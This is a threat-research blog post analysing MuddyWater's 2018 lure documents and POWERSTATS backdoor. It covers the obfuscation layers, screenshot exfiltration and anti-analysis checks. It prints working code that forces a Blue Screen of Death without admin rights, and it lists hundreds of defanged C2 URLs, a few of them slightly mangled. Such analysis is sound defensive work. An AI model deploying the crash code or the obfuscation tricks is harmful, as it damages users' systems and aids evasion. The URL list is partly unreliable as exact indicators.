

Clearing the MuddyWater - Analysis of new MuddyWater Samples

By Mo Bustami

Published: 2018-05-08 · Archived: 2026-04-05 23:37:00 UTC

It has been over 2 months since I [last wrote](#) about MuddyWater or Temp.Zagros as named by [FireEye](#). To be honest, I felt they were going quiet for a while; but boy was I wrong. Starting this week I have picked up some new interesting samples. Although these new samples have lots of similarities with the ones from earlier in the year, there are still some interesting aspects and additional, you guessed it, obfuscation used in the new samples. Their heavy focus on layered obfuscation and preference for PowerShell is still apparent. However, I will highlight what changed based on the samples that I have analyzed.

Below are screenshots of some of the recent lure documents used by this group. All Hashes are at the end of the blog.

You can see from the above screenshots that their targeting seem to continue to focus on the Middle East Region (Turkey and Iraq) and Pakistan. As mentioned in my [previous blogs](#), these lures can give us an idea of the organizations and industries that might have been targeted by this wave.

The timeline of these lures based on VT submission dates seems to be from Mid Feb all the way to the most recent sample dated May 6, 2018 which I will be focusing on. The sample has the name "mofa.gov.iq.doc" - 94625dd8151814dd6186735a6a6a87b2a4c71c04b8402caf314fb6f98434eaad. MOFA of course stands for Ministry of Foreign Affairs.

I will be analyzing the sample in detail this time. I will only highlight any new/modified aspects from the obfuscation used or any additional functionality in the POWERSTATS backdoor.

The document contains a Macro code with multiple Base64 encoded segments as shown below

Once you decode the Javascript that is embedded in the XML file you will be presented with the below

The decoded script is in fact a PowerShell script that is performing further decoding routine on a file called "C:\\\\ProgramData\\\\WindowsDefenderService.ini".

The content of this file is actually the encoded data from the first Base64 chunk. Once decoded, the content looks familiar as it is indeed a variant of the POWERSTATS backdoor. Lets go through a couple of the obfuscation layers used in this variant.

Although it looks messy, it does look familiar; The character substitution functions and the character replacements. We are getting closer. You can notice in the image above the "&{(vaRIABle '*MDR*').NAME[3,11,2]-jOiN"}". This in fact is *Invoke-Expression* just obfuscated. This means we can replace it with *Write-Output* as well. and the result script is something that looks like this

Again, you can notice the use of "(\$enV:ComSpEc[4,24,25]-jOiN)")" which is *iex*. Meaning we can replace it again with *Write-Output*.

This circle of obfuscation keeps going on until we reach the decoded script which we are familiar with including the Proxy URLs and the IP identification as shown below

This, of course is just one part of the big encoded PS script. The second and third part are the actual functionality of the Backdoor.

Most of the functionality that I described in my last blog still exists with the new variants. However, there are some new additions and some modifications on the code:

- Screenshot function is re-written however the same purpose remains. It takes a screenshot of the victim's screen, saves it as PNG, converts it to bytes, encodes it with Base64 and then uploads it to the C&C.



- Inclusion of a *Blue Screen of Death* or *BSOD* code in case a certain process is found. This part of anti-debugging and anti-analysis technique



The function highlighted at the bottom of the picture "GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG" leads to a piece of code:

```
function GDKZVLJXGAPYNUGCPJNPGZQPOLPPBG(){
    $s = @"
using System;
using System.Runtime.InteropServices;

public static class C{

[DllImport("ntdll.dll")]

public static extern uint RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out bool PreviousValue);

[DllImport("ntdll.dll")]
```

```
public static extern uint NtRaiseHardError(uint ErrorStatus, uint NumberOfParameters, uint
UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, out uint Response);

public static unsafe void Kill(){

Boolean tmp1;

uint tmp2;

RtlAdjustPrivilege(19, true, false, out tmp1);

NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out tmp2);

}

}

"@

$c = new-object -typename system.CodeDom.Compiler.CompilerParameters

$c.CompilerOptions = '/unsafe'

$a = Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c

[C]::Kill()

}
```

This is an exact copy of *Invoke-BSOD* code that was created by *Barrett Adams (@peewpw)* about a month ago and is available on his [GitHub page](#). One thing to note is that this code can BSOD a machine without the need for admin privileges as described by the author.

The same function and code is also used if processes that include "*cmd.exe, PowerShell.exe or Powershell_ISE.exe*" exist on the victim system.

- There is also a function that is looking for the following strings within *ProgramData* folder - "*Kasper, Panda and ESET*". If found, then the screenshot functionality and upload function will break.

hxxp://alessandrofoglino[.]com/wp-config-ini.php

hxxps://www.theharith[.]com/wp-includes/wp-config-ini.php

hxxp://www.easy-home-sales[.]co.za/wp-config-ini.php

hxxps://amishcountryfurnishings[.]com/awstats/wp-config-ini.php

hxxp://chinamall[.]co.za/wp-config-ini.php

hxxp://themotoringcalendar[.]co.za/wp-config-ini.php

hxxp://bluehawkbeats[.]com//wp-config-ini.php
hxxp://www.gilforsenate[.]com//wp-config-ini.php
hxxp://answerstoprayer[.]org//wp-config-ini.php
hxxp://mgamule[.]co.za/oldweb/wp-config-ini.php
hxxp://chrisdejager-attorneys[.]co.za//wp-config-ini.php
hxxp://finalnewstv[.]com//wp-config-ini.php
hxxps://www.brand-stories.gr//wp-config-ini.php
hxxp://www.duotonedigital[.]co.za//wp-config-ini.php
hxxp://www.britishasia-equip[.]co.uk//wp-config-ini.php
hxxp://www.tanati[.]co.za//wp-config-ini.php
hxxp://emware[.]co.za//wp-config-ini.php
hxxp://breastfeedingbra[.]co.za//wp-config-ini.php
hxxp://www.androidwikihow[.]com//wp-config-ini.php
hxxp://cashforyousa[.]co.za//wp-config-ini.php
hxxp://hesterwebber[.]co.za//wp-config-ini.php
hxxp://bramloosveld.be/trainer/wp-config-ini.php
hxxp://fickstarelectrical[.]co.za//wp-config-ini.php
hxxp://buchnation[.]com//wp-config-ini.php
hxxp://hostingvalley[.]co.uk/downloads/wp-config-ini.php
hxxp://bluefor[.]com/magento/wp-config-ini.php
hxxp://foryou.guru/css/wp-config-ini.php
hxxp://www.daleth[.]co.za//wp-config-ini.php
hxxps://www.buyandenjoy.pk//wp-config-ini.php
hxxps://annodle[.]com/wp-includes/wp-config-ini.php
hxxp://goldeninstitute[.]co.za/contents/wp-config-ini.php
hxxp://advss[.]co.za/images/wp-config-ini.php

hxxp://ednpk[.]com//wp-config-ini.php
hxxp://proeventsports[.]co.za/wp-admin/wp-config-ini.php
hxxp://glenbridge[.]co.za//wp-config-ini.php
hxxp://berped[.]co.za//wp-config-ini.php
hxxp://best-digital-slr-cameras[.]com//wp-config-ini.php
hxxps://kamas.pk//wp-config-ini.php
hxxps://bekkersweldingservice.nl//wp-config-ini.php
hxxp://bogdanandreescu.fit//wp-config-ini.php
hxxp://www.bashancorp[.]co.za//wp-config-ini.php
hxxps://www.bmcars.nl/wp-admin/wp-config-ini.php
hxxp://visionclinic[.]co.ls/visionclinic/wp-config-ini.php
hxxps://www.antojoentucocina[.]com//wp-config-ini.php
hxxp://www.ihlosiqs-pm[.]co.za//wp-config-ini.php
hxxp://capitalradiopetition[.]co.za//wp-config-ini.php
hxxp://www.generictoners[.]co.za//wp-config-ini.php
hxxp://almaqsd[.]com/wp-includes/wp-config-ini.php
hxxp://www.alessioborzuola[.]com/downloads/wp-config-ini.php
hxxp://briskid[.]com//wp-config-ini.php
hxxp://bios-chip[.]co.za//wp-config-ini.php
hxxp://www.crissamconsulting[.]co.za//wp-config-ini.php
hxxp://capriflower[.]co.za//wp-config-ini.php
hxxp://www.dingaanassociates[.]co.za//wp-config-ini.php
hxxp://batistadopovosjc[.]org.br//wp-config-ini.php
hxxp://indiba-africa[.]co.za//wp-config-ini.php
hxxp://apollonweb[.]com//wp-config-ini.php
hxxps://www.amighini.it/webservice/wp-config-ini.php

hxxp://blackrabbitthailand[.]com//wp-config-ini.php
hxxp://batthiqbal[.]com/sagenda/webroot/wp-config-ini.php
hxxp://clandecor[.]co.za/rvsUtf8Backup/wp-config-ini.php
hxxp://bakron[.]co.za//wp-config-ini.php
hxxp://gsnconsulting[.]co.za//wp-config-ini.php
hxxp://vumavaluations[.]co.za//wp-config-ini.php
hxxp://heritagetravelmw[.]com//wp-config-ini.php
hxxp://www.moboradar[.]com/wp-includes/wp-config-ini.php
hxxps://news9pakistan[.]com/wp-includes/wp-config-ini.php
hxxp://havilahglo[.]co.za/wpscripts/wp-config-ini.php
hxxp://binaries.site/wink/wp-config-ini.php
hxxp://www.bestdecorativemirrors[.]com/More-Mirrors/wp-config-ini.php
hxxp://clouditzone[.]com/revolution/assets/wp-config-ini.php
hxxp://delectronics[.]com.pk//wp-config-ini.php
hxxps://boudua[.]com//wp-config-ini.php
hxxp://baynetins[.]com//wp-config-ini.php
hxxp://insafradio.pk/pos/wp-config-ini.php
hxxp://www.harmonyguesthouse[.]co.za//wp-config-ini.php
hxxp://fsproperties[.]co.za/engine1/wp-config-ini.php
hxxp://desirablehair[.]co.za//wp-config-ini.php
hxxp://comsip[.]org.mw//wp-config-ini.php
hxxp://www.wbdrivingschool[.]com//wp-config-ini.php
hxxp://jdcorporate[.]co.za/catalog/wp-config-ini.php
hxxp://bradleysherrer[.]com/wp/wp-config-ini.php
hxxp://debnoch[.]com/image/wp-config-ini.php
hxxp://adsbook[.]co.za//wp-config-ini.php

hxxp://host4unix.net/host24new/wp-config-ini.php
hxxp://jvpsfunerals[.]co.za/wp-config-ini.php
hxxp://immaculatepainters[.]co.za/wp-config-ini.php
hxxp://tcpbereka[.]co.za/js/wp-config-ini.php
hxxp://investaholdings[.]co.za/htc/wp-config-ini.php
hxxp://tuules[.]com/wp-config-ini.php
hxxp://findinfo-more[.]com/wp-config-ini.php
hxxp://bmorecleaning[.]com/wp-config-ini.php
hxxp://www.goolineb2b[.]com/wp-config-ini.php
hxxp://www.triconfabrication[.]com/wp-includes/wp-config-ini.php
hxxp://irshadfoundation[.]co.za/wp-config-ini.php
hxxp://www.blattoamsterdam[.]com/wp-config-ini.php
hxxp://ladiescircle[.]co.za/wp-config-ini.php
hxxp://domesticguardians[.]co.za/Banner/wp-config-ini.php
hxxp://jhphotoedits[.]co.za/wp-config-ini.php
hxxp://iqra[.]co.za/pub/wp-config-ini.php
hxxps://bestbedrails.reviews/wp-config-ini.php
hxxp://www.banditrockradio[.]com/wp-config-ini.php
hxxp://burgercoetzeeattorneys[.]co.za/wp-config-ini.php
hxxp://burgeystikihut[.]com/wp-config-ini.php
hxxp://alphaobring[.]com/wp-config-ini.php
hxxp://www.galwayprimary[.]co.za/wp-config-ini.php
hxxps://lahorewholesalemarket[.]com/wp-config-ini.php
hxxp://bitandbyte62[.]com/faibrescia/wp-config-ini.php
hxxp://www.bioforgehealth[.]org/wp-config-ini.php
hxxp://www.brianzashop.it/wp-config-ini.php

hxxp://geetransfers[.]co.za/font-awesome/wp-config-ini.php
hxxps://www.blubaytrading[.]com//wp-config-ini.php
hxxp://carlagrobler[.]co.za/components/wp-config-ini.php
hxxp://btfila[.]org/wp-includes/wp-config-ini.php
hxxp://lensof africa[.]co.za//wp-config-ini.php
hxxp://greenacrestf[.]co.za/video/wp-config-ini.php
hxxp://www.tonaro[.]co.za//wp-config-ini.php
hxxp://www.amphibiblechurch[.]com/wp-admin/wp-config-ini.php
hxxp://bumpapps[.]com/apps/wp-config-ini.php
hxxp://ambiances-toiles.fr//wp-config-ini.php
hxxp://dailyqadamat[.]com//wp-config-ini.php
hxxp://tophillsports[.]com//wp-config-ini.php
hxxp://chrisanicdc[.]org/wpimages/wp-config-ini.php
hxxp://architectsinc.net/mail/wp-config-ini.php
hxxp://www.ieced[.]com.pk//wp-config-ini.php
hxxp://entracornt rading[.]co.za//wp-config-ini.php
hxxps://www.besman.de//wp-config-ini.php
hxxp://chickenandkitchen[.]com//wp-config-ini.php
hxxps://www.hosthof[.]com//wp-config-ini.php
hxxp://signsoftime[.]co.za//wp-config-ini.php
hxxp://www.be-indigene.be//wp-config-ini.php
hxxp://absfinancialplanning[.]co.za/images/wp-config-ini.php
hxxp://charispaarl[.]co.za//wp-config-ini.php
hxxp://indlovusecurity[.]co.za//wp-config-ini.php
hxxp://elemech[.]com.pk//wp-config-ini.php
hxxp://bafflethink[.]com/administrator/wp-config-ini.php

hxxp://luxconprojects[.]co.za//wp-config-ini.php
hxxp://brandr.ge//wp-config-ini.php
hxxps://www.amateurastronomy[.]org//wp-config-ini.php
hxxp://comfortex[.]co.za/php/wp-config-ini.php
hxxp://deepgraphics[.]co.za//wp-config-ini.php
hxxps://iconiciti[.]com//wp-config-ini.php
hxxp://www.bazookagames.net//wp-config-ini.php
hxxp://sefikengfarm[.]co.ls//wp-config-ini.php
hxxp://passright[.]co.za//wp-config-ini.php
hxxp://aboutduvetcovers[.]com//wp-config-ini.php
hxxp://seismicfactory[.]co.za//wp-config-ini.php
hxxp://abadleabantu[.]co.za//wp-config-ini.php
hxxp://www.gooline.net//wp-config-ini.php
hxxp://bookdoctormeeting[.]com//wp-config-ini.php
hxxps://aquabsafe[.]com//wp-config-ini.php
hxxp://amatikulutours[.]com/tmp/wp-config-ini.php
hxxp://alemaohost[.]com/meniskoumantareas.gr/public_html/tmp/wp-config-ini.php
hxxp://archersassociationofamerica[.]org//wp-config-ini.php
hxxps://www.baossdigital[.]com/wp-includes/wp-config-ini.php
hxxp://rightwayfoundationpk[.]org/wp-admin/wp-config-ini.php
hxxp://bmasokaprojects[.]co.za//wp-config-ini.php
hxxp://itengineering[.]co.za/gatewaydiamond/wp-config-ini.php
hxxp://globalelectricalandconstruction[.]co.za/wpscripts/wp-config-ini.php
hxxp://adriaanvorster[.]co.za//wp-config-ini.php
hxxps://www.boutiquesxxx[.]com//wp-config-ini.php
hxxp://buildingstandards[.]com.pk//wp-config-ini.php

hxxp://jakobieducation[.]co.za/wp-config-ini.php
hxxp://breakoutmonitor.info/wp-config-ini.php
hxxps://besttweezers.reviews/wp-config-ini.php
hxxp://ldams[.]org.ls/supplies/wp-config-ini.php
hxxp://menaboracks[.]co.za/tmp/wp-config-ini.php
hxxp://fourseasonscaterersdecorators[.]com/wp-config-ini.php
hxxp://capetownway[.]co.za/wp-config-ini.php
hxxp://hartenboswaterpark[.]co.za/templates/wp-config-ini.php
hxxp://fccorp[.]co.za/php/wp-config-ini.php
hxxp://angar68[.]com/wp-config-ini.php
hxxp://www.bestarticlespinnerr[.]com/wp-admin/wp-config-ini.php
hxxp://serversvalley[.]com/wp-config-ini.php
hxxp://breakbyte[.]com/wp-config-ini.php
hxxps://www.logicsfort[.]com/wp-config-ini.php
hxxp://blackwolfco[.]com/wp-config-ini.php
hxxp://www.exomi.es/wp-admin/wp-config-ini.php
hxxp://verifiedseller[.]co.za/js/wp-config-ini.php
hxxps://www.bolagsregistrering.eu/wp-config-ini.php
hxxp://cdxtrading[.]co.za/wp-config-ini.php
hxxp://aahung[.]org/wp-config-ini.php
hxxps://rstextilesourcing[.]com/wp-config-ini.php
hxxps://bravori[.]com/wp-config-ini.php
hxxp://buboobioinnovations[.]co.za/wpimages/wp-config-ini.php
hxxp://www.advcadsys[.]com/wp-config-ini.php
hxxp://isibaniedu[.]co.za/admin/wp-config-ini.php
hxxp://dianakleyn[.]co.za/layouts/wp-config-ini.php

hxxp://amesoulcoaching[.]com/wp-admin/wp-config-ini.php

hxxp://www.loansonhomes[.]co.za/wp-config-ini.php

hxxp://empowerbridge[.]com/projects/abianasystem/wp-config-ini.php

hxxp://alfredocifuentes[.]com/wp-config-ini.php

hxxp://www.gooline.pk/wp-config-ini.php

hxxp://highschoolsuperstar[.]co.za/files/wp-config-ini.php

hxxps://bogjerlow[.]com/project/wp-config-ini.php

hxxp://cafawelding[.]co.za/font-awesome/wp-config-ini.php

hxxp://apalawyers.pt/wp-config-ini.php

hxxp://www.edesignz[.]co.za/wp-config-ini.php

hxxp://centuryacademy[.]co.za/css/wp-config-ini.php

hxxp://buenasia[.]com/wp-includes/wp-config-ini.php

hxxp://ceramica[.]co.za/wp-config-ini.php

hxxp://banjo.la/wp-config-ini.php

hxxp://www.alfredoposada[.]com/wp-config-ini.php

hxxp://allisonplumbing[.]com/wp-config-ini.php

hxxp://eastrandmotorlab[.]co.za/fleet/wp-config-ini.php

hxxp://www.mikimaths[.]com/wp-config-ini.php

hxxp://hjb-racing[.]co.za/htdocs/wp-config-ini.php

hxxp://welcomecat[.]com/wp-config-ini.php

hxxp://www.andreabelfi[.]com/wp-config-ini.php

hxxp://www.iancullen[.]co.za/wp-config-ini.php

hxxp://jeanetteproperties[.]co.za/wp-config-ini.php

hxxps://www.bridgestobodhi[.]org/wp-config-ini.php

hxxp://www.rejoicetheatre[.]com/wp-config-ini.php

hxxps://alterwebhost[.]com/wp-config-ini.php

hxxp://dpscdgkhan.edu.pk/shopping/wp-config-ini.php
hxxp://edgeforensic[.]co.za/wp-config-ini.php
hxxp://willpowerpos[.]co.za/wp-config-ini.php
hxxp://colenesphotography[.]co.za/modules/wp-config-ini.php
hxxp://bfval[.]com/tmp/wp-config-ini.php
hxxps://aliart.nl/wp-config-ini.php
hxxps://bosacik.sk/wp-config-ini.php
hxxp://mailingservers.net/wp-config-ini.php
hxxp://fbrvolume[.]co.za/wp-config-ini.php
hxxp://9newshd[.]com/wp-config-ini.php
hxxp://bartabee[.]com/wp-config-ini.php
hxxp://www.khotsonglodge[.]co.ls/wp-config-ini.php
hxxp://erniecommunications[.]co.za/js/wp-config-ini.php
hxxp://promechtransport[.]co.za/scripts/wp-config-ini.php
hxxp://centurionsd[.]co.za/wp-config-ini.php
hxxp://delcom[.]co.za/wp-config-ini.php
hxxp://www.andrebruton[.]com/wp-config-ini.php
hxxp://h-dubepromotions[.]co.za/wp-config-ini.php
hxxps://bestcoolingtowels.reviews/wp-config-ini.php
hxxp://crystaltidings[.]co.za/wp-config-ini.php
hxxp://diegemmerkat[.]co.za/wp-config-ini.php
hxxp://funisalodge[.]co.za/data1/wp-config-ini.php
hxxp://www.hfhl[.]org.ls/habitat/wp-config-ini.php
hxxp://experttutors[.]co.za/wp-config-ini.php
hxxps://www.cartridgecave[.]co.za/wp-config-ini.php
hxxp://ecs-consult[.]com/wp-config-ini.php

hxxp://oftheearthphotography[.]com/www/wp-config-ini.php
hxxp://hmholdings360[.]co.za/wp-config-ini.php
hxxp://joyngroup[.]com//wp-config-ini.php
hxxp://www.bertfliegerdesign.nl//wp-config-ini.php
hxxp://seoinlahorepakistan[.]com/clockwork/wp-config-ini.php
hxxp://africanpixels.zar.cc//wp-config-ini.php
hxxp://cazochem[.]co.za/cazochem/wp-config-ini.php
hxxp://ryanchristiefurniture[.]co.za//wp-config-ini.php
hxxp://evansmokaba[.]com/evansmokaba[.]com/thabiso/wp-config-ini.php
hxxp://arabsdeals[.]com//wp-config-ini.php
hxxp://www.fun4kidz[.]co.za//wp-config-ini.php
hxxp://www.infratechconsulting[.]com//wp-config-ini.php
hxxp://courtesydriving[.]co.za/js/wp-config-ini.php
hxxp://bluecrome[.]com//wp-config-ini.php
hxxp://charliwestsecurity[.]co.za//wp-config-ini.php
hxxps://buildyoursalon[.]com/wp-includes/wp-config-ini.php
hxxp://beehiveholdingszar[.]co.za//wp-config-ini.php
hxxp://servicebox[.]co.za//wp-config-ini.php
hxxp://www.malboer[.]co.za/trendy1/wp-config-ini.php
hxxp://biondi[.]co//wp-config-ini.php
hxxp://funeralbusinesssolution[.]com/email_template/wp-config-ini.php
hxxp://ushostinc[.]com/ioncube/wp-config-ini.php
hxxps://alceharfield[.]com//wp-config-ini.php
hxxp://indocraft[.]co.za/test/wp-config-ini.php
hxxp://www.londonbeautyclinic.pk/wp-includes/wp-config-ini.php
hxxp://sullivanprimary[.]co.za//wp-config-ini.php

hxxp://btg4hope[.]org/wp-config-ini.php
hxxp://bo-crm[.]com/corel[.]com.bo/wp-config-ini.php
hxxp://abvsecurity[.]co.za/wp-config-ini.php
hxxp://cambridgetuts[.]com/wp-config-ini.php
hxxps://bestaxi.nl/wp-config-ini.php
hxxp://jwseshowe[.]co.za/assets/wp-config-ini.php
hxxp://winagainstebola[.]com/wp-config-ini.php
hxxp://anubandh.in/wp-config-ini.php
hxxps://bgadvocaten.nl/wp-admin/wp-config-ini.php
hxxp://freeskl[.]com/sports/wp-config-ini.php
hxxp://www.abies[.]co.za/wp-config-ini.php
hxxps://www.applecartng[.]com/wp-config-ini.php
hxxps://bakayokocpa[.]com/wp-includes/wp-config-ini.php
hxxp://www.paktechinfo[.]com/wp-includes/wp-config-ini.php
hxxp://www.ariehandomri[.]com/wp-config-ini.php
hxxp://lahorecoolingtower[.]com/wp-config-ini.php
hxxps://boatwif[.]co.uk/wp-config-ini.php
hxxp://gideonitesprojects[.]com/wp-config-ini.php
hxxp://www.koshcreative[.]co.uk/wp-includes/wp-config-ini.php
hxxp://iinvest4u[.]co.za/wp-config-ini.php
hxxps://blankwebagency[.]com/components/wp-config-ini.php
hxxp://hybridauto[.]co.za/photography/wp-config-ini.php
hxxp://h-u-i[.]co.za/heiren/wp-config-ini.php
hxxp://insta-art[.]co.za/wp-config-ini.php
hxxp://abanganifunerals[.]co.za/wp-config-ini.php
hxxp://muallematsela[.]com/wp-config-ini.php

hxxps://arhiepiscopiabucurestilor.ro/templates/wp-config-ini.php
hxxp://perfectlabels.net//wp-config-ini.php
hxxps://www.alvarezarquitectos[.]com//wp-config-ini.php
hxxp://boardaffairs[.]com//wp-config-ini.php
hxxp://www.m-3[.]co.za//wp-config-ini.php
hxxp://beesrenovations[.]co.za/images/wp-config-ini.php
hxxp://bumbledyne[.]com/domainmod/wp-config-ini.php
hxxps://blockchainadvertisements.net//wp-config-ini.php
hxxp://mokorotlocorporate[.]com//wp-config-ini.php
hxxp://alchimiegrafiche.net/bbdelteatro/wp-config-ini.php
hxxps://bentiveгна.es//wp-config-ini.php
hxxp://in2accounting[.]co.za//wp-config-ini.php
hxxp://capewindstrading[.]co.za//wp-config-ini.php
hxxp://bonus.rocks//wp-config-ini.php
hxxp://cloudhub[.]co.ls/modules/wp-config-ini.php
hxxp://bansko-furniture[.]co.uk//wp-config-ini.php
hxxp://digital-cameras-south-africa[.]co.za/script/wp-config-ini.php
hxxp://ahmadhasanat[.]com//wp-config-ini.php
hxxp://hosthof.pk/customer/wp-config-ini.php
hxxps://www.engeltjieakademie[.]co.za//wp-config-ini.php
hxxp://juniorad[.]co.za/vendor/wp-config-ini.php
hxxp://www.dws-gov[.]co.za//wp-config-ini.php
hxxp://www.getcord[.]co.za//wp-config-ini.php
hxxps://broke-dude-podcast[.]com//wp-config-ini.php
hxxp://balaateen[.]co.za/less/wp-config-ini.php
hxxp://2strongmagazine[.]co.za//wp-config-ini.php

hxxp://bntlaminates[.]com//wp-config-ini.php
hxxp://embali[.]co.za//wp-config-ini.php
hxxp://beadbazaar[.]com.au/assets/css/wp-config-ini.php
hxxp://www.centreforgovernance.uk//wp-config-ini.php
hxxp://www.icsswaziland[.]com//wp-config-ini.php
hxxps://bulinvestconsult[.]com//wp-config-ini.php
hxxp://www.bhsmusic.net//wp-config-ini.php
hxxp://fragranceoil[.]co.za//wp-config-ini.php
hxxp://gvs[.]com.pk/font-awesome/wp-config-ini.php
hxxp://billielaw[.]com//wp-config-ini.php
hxxp://bagadesign.pt//wp-config-ini.php
hxxp://bahaykuboeliterealty[.]com.au//wp-config-ini.php
hxxp://haveyvtv[.]com//wp-config-ini.php
hxxp://www.animationinisrael[.]org/tmp_images/wp-config-ini.php
hxxp://www.buhlebayoacademy[.]com//wp-config-ini.php
hxxp://aexergy[.]com//wp-config-ini.php
hxxps://best-dreams[.]com//wp-config-ini.php
hxxp://blackthorn[.]co.za//wp-config-ini.php
hxxp://getabletravel[.]co.za/wpscripts/wp-config-ini.php
hxxp://www.amazingtour.pk//wp-config-ini.php
hxxp://printernet[.]co.za//wp-config-ini.php
hxxp://genesisbs[.]co.za//wp-config-ini.php
hxxp://cybercraft.biz/dist/wp-config-ini.php
hxxps://www.bcppro[.]com//wp-config-ini.php
hxxp://allsporthealthandfitness[.]com//wp-config-ini.php
hxxp://www[.]competitiveedoptions[.]com//wp-config-ini.php

hxxp://www.humorcarbons[.]com//wp-config-ini.php
hxxp://intelligentprotection[.]co.za//wp-config-ini.php
hxxp://lppaportal[.]org.ls//wp-config-ini.php
hxxp://incoso[.]co.za/images/wp-config-ini.php
hxxp://webhostinc.net//wp-config-ini.php
hxxp://bitteeth[.]com/docbank/wp-config-ini.php
hxxp://mukhtarfeeds[.]com//wp-config-ini.php
hxxp://isound[.]co.za//wp-config-ini.php
hxxp://www.acer-parts[.]co.za//wp-config-ini.php
hxxp://www.gsmmid[.]com//wp-config-ini.php
hxxp://24newstube[.]com//wp-config-ini.php
hxxp://goolinegaming[.]com//wp-config-ini.php
hxxp://hisandherskennels[.]co.za/php/wp-config-ini.php
hxxp://cmhts[.]co.za/resources/wp-config-ini.php
hxxp://glgroup[.]co.za/images/wp-config-ini.php
hxxp://thecompassolutions[.]co.za//wp-config-ini.php
hxxp://iggleconsulting[.]com//wp-config-ini.php
hxxps://anotherdayinparadise.ca//wp-config-ini.php
hxxp://cupboardcure[.]co.za/vendor/wp-config-ini.php
hxxp://all2wedding[.]com/wp-includes/wp-config-ini.php
hxxp://allianz[.]com.pe//wp-config-ini.php
hxxps://bednbreakfasthotel[.]com//wp-config-ini.php
hxxp://broken-arrow[.]co.za//wp-config-ini.php
hxxp://aboutbodybuildingworkout[.]com//wp-config-ini.php
hxxp://www.goolinespace[.]com//wp-config-ini.php
hxxp://aqarco[.]com/wp-admin/wp-config-ini.php

[hxxp://www.braidhairextensions\[.\]com/wp-config.ini.php](http://www.braidhairextensions[.]com/wp-config.ini.php)

[hxxp://www.bhakkarrishtey\[.\]com/wp-config.ini.php](http://www.bhakkarrishtey[.]com/wp-config.ini.php)

[hxxp://bestencouragementwords\[.\]com/wp-config.ini.php](http://bestencouragementwords[.]com/wp-config.ini.php)

[hxxp://agricolavicuna.cl/wp-config.ini.php](http://agricolavicuna.cl/wp-config.ini.php)

[hxxp://badlaretinaclinic\[.\]com/tmp/wp-config.ini.php](http://badlaretinaclinic[.]com/tmp/wp-config.ini.php)

[hxxp://get-paid-for-online-survey\[.\]com/wp-config.ini.php](http://get-paid-for-online-survey[.]com/wp-config.ini.php)

[hxxp://firstchoiceproperties\[.\]co.za/wp-config.ini.php](http://firstchoiceproperties[.]co.za/wp-config.ini.php)

[hxxp://habibtextiles.pk/wp-config.ini.php](http://habibtextiles.pk/wp-config.ini.php)

[hxxp://blueberrygroup\[.\]com.ar/wp-config.ini.php](http://blueberrygroup[.]com.ar/wp-config.ini.php)

[hxxp://abrahamseed\[.\]co.za/wp-config.ini.php](http://abrahamseed[.]co.za/wp-config.ini.php)

[hxxp://betandbeer.tips/wp-config.ini.php](http://betandbeer.tips/wp-config.ini.php)

[hxxp://molepetravel\[.\]co.ls/wp-config.ini.php](http://molepetravel[.]co.ls/wp-config.ini.php)

[hxxp://iiee.edu.pk/wp-config.ini.php](http://iiee.edu.pk/wp-config.ini.php)

[hxxp://bella-yfaceandbodyproduct\[.\]com/wp-config.ini.php](http://bella-yfaceandbodyproduct[.]com/wp-config.ini.php)

[hxxp://www.algom-law\[.\]com/wp-config.ini.php](http://www.algom-law[.]com/wp-config.ini.php)

[hxxp://thelawyerscanvas.pk/wp-config.ini.php](http://thelawyerscanvas.pk/wp-config.ini.php)

[hxxp://satuwrite\[.\]com/wp-config.ini.php](http://satuwrite[.]com/wp-config.ini.php)

[hxxp://bazinga-shop.eu/wp-config.ini.php](http://bazinga-shop.eu/wp-config.ini.php)

[hxxps://www.biosetinlabs\[.\]com/wp-admin/wp-config.ini.php](http://www.biosetinlabs[.]com/wp-admin/wp-config.ini.php)

Source: <https://sec0wn.blogspot.com/2018/05/clearing-muddywater-analysis-of-new.html>